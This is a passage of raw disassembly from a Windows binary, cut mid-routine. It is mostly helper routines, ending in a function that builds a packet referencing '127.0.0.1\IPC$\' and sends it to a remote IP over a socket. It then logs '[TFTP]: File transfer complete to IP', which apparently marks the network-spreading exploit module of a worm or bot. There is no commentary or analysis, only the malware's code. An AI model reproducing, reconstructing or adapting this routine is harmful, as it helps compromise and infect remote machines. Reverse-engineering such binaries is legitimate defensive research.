		mov	ecx, [ebp+var_8]
		call	sub_410B01


loc_410ACB:				; CODE XREF: sub_41098C+61j
					; sub_41098C+101j ...
		mov	eax, [ebp+var_8]
		leave
		retn	0Ch
sub_41098C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AD2	proc near		; CODE XREF: sub_41098C+Cp
					; sub_41098C+1Ep ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		leave
		retn
sub_410AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AE1	proc near		; CODE XREF: sub_4107B0+21p
					; sub_410F6E+57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	[ebp+arg_0]
		call	sub_410810
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410CFF
		leave
		retn	4
sub_410AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B01	proc near		; CODE XREF: sub_41081E+66p
					; sub_410905+65p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		add	eax, [ebp+arg_0]
		push	eax
		call	sub_410B2F
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_410B01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B2F	proc near		; CODE XREF: sub_410B01+23p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	cl, [ecx]
		mov	[eax], cl
		pop	ebp
		retn
sub_410B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B3E	proc near		; CODE XREF: sub_41081E+38p
					; sub_4108E2+1Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_410DF4
		cmp	eax, [ebp+arg_0]
		jnb	short loc_410B58
		call	sub_43CF80


loc_410B58:				; CODE XREF: sub_410B3E+13j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_410BD4
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_4]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_410BD4
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_4]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		cmp	eax, 0FFh
		jz	short loc_410BD4
		cmp	[ebp+arg_0], 0
		jnz	short loc_410BC2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_4]
		call	sub_410F4B
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], al
		push	0
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		xor	al, al
		jmp	locret_410C58
; ---------------------------------------------------------------------------


loc_410BC2:				; CODE XREF: sub_410B3E+54j
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410E33
		mov	al, 1
		jmp	locret_410C58
; ---------------------------------------------------------------------------


loc_410BD4:				; CODE XREF: sub_410B3E+21j
					; sub_410B3E+36j ...
		cmp	[ebp+arg_0], 0
		jnz	short loc_410C05
		movzx	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_410BEE
		push	1
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		jmp	short loc_410C01
; ---------------------------------------------------------------------------


loc_410BEE:				; CODE XREF: sub_410B3E+A2j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_410C01
		push	0
		mov	ecx, [ebp+var_4]
		call	sub_410B01


loc_410C01:				; CODE XREF: sub_410B3E+AEj
					; sub_410B3E+B7j
		xor	al, al
		jmp	short locret_410C58
; ---------------------------------------------------------------------------


loc_410C05:				; CODE XREF: sub_410B3E+9Aj
		movzx	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_410C38
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 1Fh
		ja	short loc_410C21
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_410C38


loc_410C21:				; CODE XREF: sub_410B3E+D6j
		push	1
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410E33
		jmp	short loc_410C56
; ---------------------------------------------------------------------------


loc_410C38:				; CODE XREF: sub_410B3E+CDj
					; sub_410B3E+E1j
		movzx	eax, [ebp+arg_4]
		test	eax, eax
		jnz	short loc_410C56
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_410C56
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410E33


loc_410C56:				; CODE XREF: sub_410B3E+F8j
					; sub_410B3E+100j ...
		mov	al, 1

locret_410C58:				; CODE XREF: sub_410B3E+7Fj
					; sub_410B3E+91j ...
		leave
		retn	8
sub_410B3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C5C	proc near		; CODE XREF: sub_4108AA+11p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_43E474
		pop	ebp
		retn
sub_410C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C66	proc near		; CODE XREF: sub_410759+16p
					; sub_41077B+16p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], ecx
		movzx	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_410C7F
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_410C81


loc_410C7F:				; CODE XREF: sub_410C66+Ej
		jmp	short loc_410CE6
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410C66+17j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_4]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_410CAE
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_4]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		cmp	eax, 0FFh
		jnz	short loc_410CC9


loc_410CAE:				; CODE XREF: sub_410C66+2Ej
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		inc	eax
		inc	eax
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		dec	eax
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_410F5A
		jmp	short loc_410CE6
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410C66+46j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_4]
		call	sub_410F4B
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], al


loc_410CE6:				; CODE XREF: sub_410C66:loc_410C7Fj
					; sub_410C66+61j
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+0Ch], 0
		leave
		retn	4
sub_410C66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CFF	proc near		; CODE XREF: sub_410AE1+17p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	1
		push	[ebp+arg_4]
		mov	ecx, [ebp+var_4]
		call	sub_410B3E
		movzx	eax, al
		test	eax, eax
		jz	short loc_410D39
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	sub_410976
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	ecx, [ebp+var_4]
		call	sub_410B01


loc_410D39:				; CODE XREF: sub_410CFF+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_410CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D40	proc near		; CODE XREF: sub_41098C+4Fp
					; sub_41098C+5Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_410D58
		call	sub_43D280


loc_410D58:				; CODE XREF: sub_410D40+11j
		mov	ecx, [ebp+var_8]
		call	sub_410F6E
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410D7A
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax


loc_410D7A:				; CODE XREF: sub_410D40+2Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_410DD7
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_0]
		sub	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		add	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		add	eax, [ebp+arg_0]
		push	eax
		call	sub_410DDE
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	0
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B3E
		movzx	eax, al
		test	eax, eax
		jz	short loc_410DD7
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B01


loc_410DD7:				; CODE XREF: sub_410D40+3Ej
					; sub_410D40+8Aj
		mov	eax, [ebp+var_8]
		leave
		retn	8
sub_410D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DDE	proc near		; CODE XREF: sub_410D40+64p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4237A0
		add	esp, 0Ch
		pop	ebp
		retn
sub_410DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DF4	proc near		; CODE XREF: sub_410B3E+Bp
					; sub_410E33+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		call	sub_410FE3
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		ja	short loc_410E17
		mov	[ebp+var_C], 1
		jmp	short loc_410E1F
; ---------------------------------------------------------------------------


loc_410E17:				; CODE XREF: sub_410DF4+18j
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_C], eax


loc_410E1F:				; CODE XREF: sub_410DF4+21j
		mov	eax, [ebp+var_C]
		leave
		retn
sub_410DF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E24	proc near		; CODE XREF: sub_41098C+D9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		leave
		retn
sub_410E24	endp


; =============== S U B	R O U T	I N E =======================================



sub_410E33	proc near		; CODE XREF: sub_410B3E+8Ap
					; sub_410B3E+F3p ...
		mov	eax, offset loc_43DBF8
		call	sub_423780
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-20h], ecx
		mov	eax, [ebp+8]
		or	al, 1Fh
		mov	[ebp-1Ch], eax
		mov	ecx, [ebp-20h]
		call	sub_410DF4
		cmp	eax, [ebp-1Ch]
		jnb	short loc_410E65
		mov	eax, [ebp+8]
		mov	[ebp-1Ch], eax


loc_410E65:				; CODE XREF: sub_410E33+2Aj
		and	dword ptr [ebp-4], 0
		push	0
		mov	eax, [ebp-1Ch]
		inc	eax
		inc	eax
		push	eax
		mov	ecx, [ebp-20h]
		call	sub_410FCC
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	[ebp-18h], eax
		jmp	short loc_410EA3
; ---------------------------------------------------------------------------


loc_410E84:				; DATA XREF: .XComp0:0044034Co
		mov	eax, [ebp+8]
		mov	[ebp-1Ch], eax
		push	0
		mov	eax, [ebp-1Ch]
		inc	eax
		inc	eax
		push	eax
		mov	ecx, [ebp-20h]
		call	sub_410FCC
		mov	[ebp-18h], eax
		mov	eax, offset loc_410EA3
		retn
; ---------------------------------------------------------------------------


loc_410EA3:				; CODE XREF: sub_410E33+4Fj
					; DATA XREF: sub_410E33+6Ao
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-20h]
		cmp	dword ptr [eax+8], 0
		jbe	short loc_410EE2
		mov	eax, [ebp-20h]
		mov	eax, [eax+8]
		cmp	eax, [ebp-1Ch]
		jbe	short loc_410EC3
		mov	eax, [ebp-1Ch]
		mov	[ebp-28h], eax
		jmp	short loc_410ECC
; ---------------------------------------------------------------------------


loc_410EC3:				; CODE XREF: sub_410E33+86j
		mov	eax, [ebp-20h]
		mov	eax, [eax+8]
		mov	[ebp-28h], eax


loc_410ECC:				; CODE XREF: sub_410E33+8Ej
		push	dword ptr [ebp-28h]
		mov	eax, [ebp-20h]
		push	dword ptr [eax+4]
		mov	eax, [ebp-18h]
		inc	eax
		push	eax
		call	sub_410976
		add	esp, 0Ch


loc_410EE2:				; CODE XREF: sub_410E33+7Bj
		mov	eax, [ebp-20h]
		mov	eax, [eax+8]
		mov	[ebp-14h], eax
		push	1
		mov	ecx, [ebp-20h]
		call	sub_410C66
		mov	eax, [ebp-18h]
		inc	eax
		mov	ecx, [ebp-20h]
		mov	[ecx+4], eax
		mov	eax, [ebp-20h]
		push	dword ptr [eax+4]
		mov	ecx, [ebp-20h]
		call	sub_410F4B
		and	byte ptr [eax],	0
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-1Ch]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp-14h]
		cmp	eax, [ebp-1Ch]
		jbe	short loc_410F29
		mov	eax, [ebp-1Ch]
		mov	[ebp-2Ch], eax
		jmp	short loc_410F2F
; ---------------------------------------------------------------------------


loc_410F29:				; CODE XREF: sub_410E33+ECj
		mov	eax, [ebp-14h]
		mov	[ebp-2Ch], eax


loc_410F2F:				; CODE XREF: sub_410E33+F4j
		push	dword ptr [ebp-2Ch]
		mov	ecx, [ebp-20h]
		call	sub_410B01
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_410E33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F4B	proc near		; CODE XREF: sub_41098C+8Dp
					; sub_41098C+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		dec	eax
		leave
		retn	4
sub_410F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F5A	proc near		; CODE XREF: sub_410C66+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	[ebp+arg_0]
		call	sub_423AE0
		pop	ecx
		leave
		retn	8
sub_410F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F6E	proc near		; CODE XREF: sub_410D40+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short locret_410FCA
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_8]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410FCA
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_8]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		cmp	eax, 0FFh
		jz	short locret_410FCA
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		push	1
		mov	ecx, [ebp+var_8]
		call	sub_410C66
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410AE1

locret_410FCA:				; CODE XREF: sub_410F6E+Fj
					; sub_410F6E+24j ...
		leave
		retn
sub_410F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FCC	proc near		; CODE XREF: sub_410E33+41p
					; sub_410E33+62p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	[ebp+arg_0]
		call	sub_411011
		pop	ecx
		pop	ecx
		leave
		retn	8
sub_410FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FE3	proc near		; CODE XREF: sub_410DF4+Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], ecx
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_4], 0
		jbe	short loc_410FFE
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		jmp	short loc_411005
; ---------------------------------------------------------------------------


loc_410FFE:				; CODE XREF: sub_410FE3+11j
		mov	[ebp+var_C], 1


loc_411005:				; CODE XREF: sub_410FE3+19j
		mov	eax, [ebp+var_C]
		leave
		retn
sub_410FE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41100A	proc near		; CODE XREF: sub_41098C+A2p
		push	ebp
		mov	ebp, esp
		mov	al, 1
		pop	ebp
		retn
sub_41100A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411011	proc near		; CODE XREF: sub_410FCC+Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jge	short loc_41101E
		and	[ebp+arg_0], 0


loc_41101E:				; CODE XREF: sub_411011+7j
		push	[ebp+arg_0]
		call	sub_423B90
		pop	ecx
		pop	ebp
		retn
sub_411011	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411029	proc near		; CODE XREF: sub_41073A+3p
					; sub_43D3C0+3p
		push	ebp
		mov	ebp, esp
		movzx	eax, byte_4E9578
		and	eax, 1
		test	eax, eax
		jnz	short loc_411046
		mov	al, byte_4E9578
		or	al, 1
		mov	byte_4E9578, al


loc_411046:				; CODE XREF: sub_411029+Fj
		pop	ebp
		retn
sub_411029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411048	proc near		; DATA XREF: sub_410749+3o
					; sub_43D3E0+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_411048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41104D	proc near		; CODE XREF: sub_40DF24+1E4p
					; .XComp0:0040EF3Ep
					; DATA XREF: ...

var_523C	= dword	ptr -523Ch
var_5238	= word ptr -5238h
var_5236	= word ptr -5236h
var_5234	= dword	ptr -5234h
var_5228	= byte ptr -5228h
var_5028	= byte ptr -5028h
var_5004	= byte ptr -5004h
var_4DF4	= byte ptr -4DF4h
var_4DF0	= byte ptr -4DF0h
var_4028	= byte ptr -4028h
var_3028	= dword	ptr -3028h
var_3024	= dword	ptr -3024h
var_3020	= dword	ptr -3020h
var_301C	= dword	ptr -301Ch
var_3018	= dword	ptr -3018h
var_3014	= dword	ptr -3014h
var_3010	= byte ptr -3010h
var_2010	= dword	ptr -2010h
var_200C	= byte ptr -200Ch
var_200A	= byte ptr -200Ah
var_100C	= dword	ptr -100Ch
var_1008	= byte ptr -1008h
var_CA8		= byte ptr -0CA8h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 523Ch
		call	sub_421EE0
		and	[ebp+var_8], 0
		and	[ebp+var_3028],	0
		and	[ebp+var_100C],	0
		and	[ebp+var_3024],	0
		and	[ebp+var_3020],	0
		and	[ebp+var_301C],	0
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_419E40
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		cmp	[ebp+var_2010],	0
		jz	short loc_4110A6
		cmp	[ebp+var_2010],	1
		jnz	short loc_4110AD


loc_4110A6:				; CODE XREF: sub_41104D+4Ej
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_4110AD:				; CODE XREF: sub_41104D+57j
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_4110C9
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_41104D+73j
		push	10h
		push	0
		lea	eax, [ebp+var_5238]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_5238],	2
		push	[ebp+arg_A0]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_5236],	ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_5234],	eax
		push	offset byte_4410E8
		push	[ebp+arg_0]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	1000h
		lea	eax, [ebp+var_3010]
		push	eax
		call	sub_40D0B6
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41113B
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_41113B:				; CODE XREF: sub_41104D+E5j
		push	122h
		push	offset aS_19	; "è"
		push	1000h
		lea	eax, [ebp+var_4028]
		push	eax
		call	sub_40D17A
		add	esp, 10h
		mov	[ebp+var_3028],	eax
		push	25Ch
		push	offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\"
		mov	eax, [ebp+var_100C]
		lea	eax, [ebp+eax+var_5028]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_100C]
		add	eax, 25Ch
		mov	[ebp+var_100C],	eax
		push	[ebp+var_3028]
		lea	eax, [ebp+var_4028]
		push	eax
		lea	eax, [ebp+var_5004]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	[ebp+var_8]
		lea	eax, [ebp+var_3010]
		push	eax
		lea	eax, [ebp+var_5004]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	4
		push	(offset	loc_44A4DB+1)
		lea	eax, [ebp+var_4DF4]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	4
		push	(offset	loc_44A4D7+1)
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_100C]
		mov	[ebp+var_3020],	eax
		and	[ebp+var_100C],	0
		lea	eax, [ebp+var_CA8]
		mov	[ebp+var_523C],	eax
		mov	eax, [ebp+var_3020]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	ecx, [ebp+var_523C]
		mov	ecx, [ecx]
		add	ecx, eax
		mov	eax, [ebp+var_523C]
		mov	[eax], ecx
		mov	eax, [ebp+var_3020]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	ecx, [ebp+var_523C]
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	eax, [ebp+var_523C]
		mov	[eax+8], ecx
		lea	eax, [ebp+var_1008]
		mov	[ebp+var_523C],	eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+10h], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+80h]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+80h], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+84h]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+84h], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+0B4h]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+0B4h], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+0B8h]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+0B8h], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+0D0h]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+0D0h], eax
		mov	eax, [ebp+var_523C]
		mov	eax, [eax+18Ch]
		mov	ecx, [ebp+var_3020]
		lea	eax, [eax+ecx-0Ch]
		mov	ecx, [ebp+var_523C]
		mov	[ecx+18Ch], eax
		push	10h
		lea	eax, [ebp+var_5238]
		push	eax
		push	[ebp+var_4]
		call	dword_4E16A8	; connect
		mov	[ebp+var_3014],	eax
		cmp	[ebp+var_3014],	0FFFFFFFFh
		jnz	short loc_41138D
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_41138D:				; CODE XREF: sub_41104D+32Ej
		push	0
		push	48h
		push	offset dword_449E44
		push	[ebp+var_4]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4113B4
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_4113B4:				; CODE XREF: sub_41104D+355j
		push	0
		push	1000h
		lea	eax, [ebp+var_200C]
		push	eax
		push	[ebp+var_4]
		call	dword_4E1718	; recv
		movsx	eax, [ebp+var_200A]
		cmp	eax, 0Ch
		jz	short loc_4113E7
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_4113E7:				; CODE XREF: sub_41104D+388j
		push	0
		push	[ebp+var_301C]
		lea	eax, [ebp+var_1008]
		push	eax
		push	[ebp+var_4]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411414
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_411414:				; CODE XREF: sub_41104D+3B5j
		push	0
		push	1000h
		lea	eax, [ebp+var_200C]
		push	eax
		push	[ebp+var_4]
		call	dword_4E1718	; recv
		movsx	eax, [ebp+var_200A]
		cmp	eax, 3
		jnz	short loc_411447
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_41152B
; ---------------------------------------------------------------------------


loc_411447:				; CODE XREF: sub_41104D+3E8j
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		lea	eax, [ebp+var_5228]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		and	[ebp+var_3018],	0
		jmp	short loc_41147E
; ---------------------------------------------------------------------------


loc_411471:				; CODE XREF: sub_41104D+4D6j
		mov	eax, [ebp+var_3018]
		inc	eax
